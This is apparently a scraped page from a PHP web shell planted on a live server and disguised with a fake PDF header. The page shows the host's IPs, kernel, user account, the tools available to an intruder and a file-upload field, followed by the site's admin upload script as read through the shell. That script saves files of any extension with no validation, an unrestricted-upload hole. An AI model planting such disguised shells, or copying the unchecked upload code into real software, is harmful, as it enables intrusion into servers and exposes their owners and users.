%PDF-1.4 %Óëéá 1 0 obj <> endobj 3 0 obj <> endobj 4 0 obj <
| Server IP : 212.252.79.165 / Your IP : 216.73.216.226 [ Web Server : Apache System : Linux 212-252-79-165.cprapid.com 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64 User : cehaburo ( 1001) PHP Version : 8.1.33 Disable Function : exec,passthru,shell_exec,system Domains : 48 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /home/cehaburo/public_html/admin/dba/ |
Upload File : |
<?php
include '../lib/include.php';
if (!empty($_FILES)) {
$tempFile = $_FILES['file']['tmp_name'];
$fileExtension = pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION);
$fileName = uniqid('file_', true) . '.' . $fileExtension; // Generate unique file name
$targetDir = "../../images/qr-gallery/"; // Updated path for gallery images
if (strtolower($fileExtension) === 'pdf') {
$targetDir = "../../uploads/qr-pages/"; // Different path for PDF files
}
$targetFile = $targetDir . $fileName;
if (move_uploaded_file($tempFile, $targetFile)) {
$response = [
'filePath' => $targetFile
];
echo json_encode($response);
} else {
http_response_code(400);
echo json_encode(['error' => 'File upload failed.']);
}
} else {
http_response_code(400);
echo json_encode(['error' => 'No file uploaded.']);
}
?>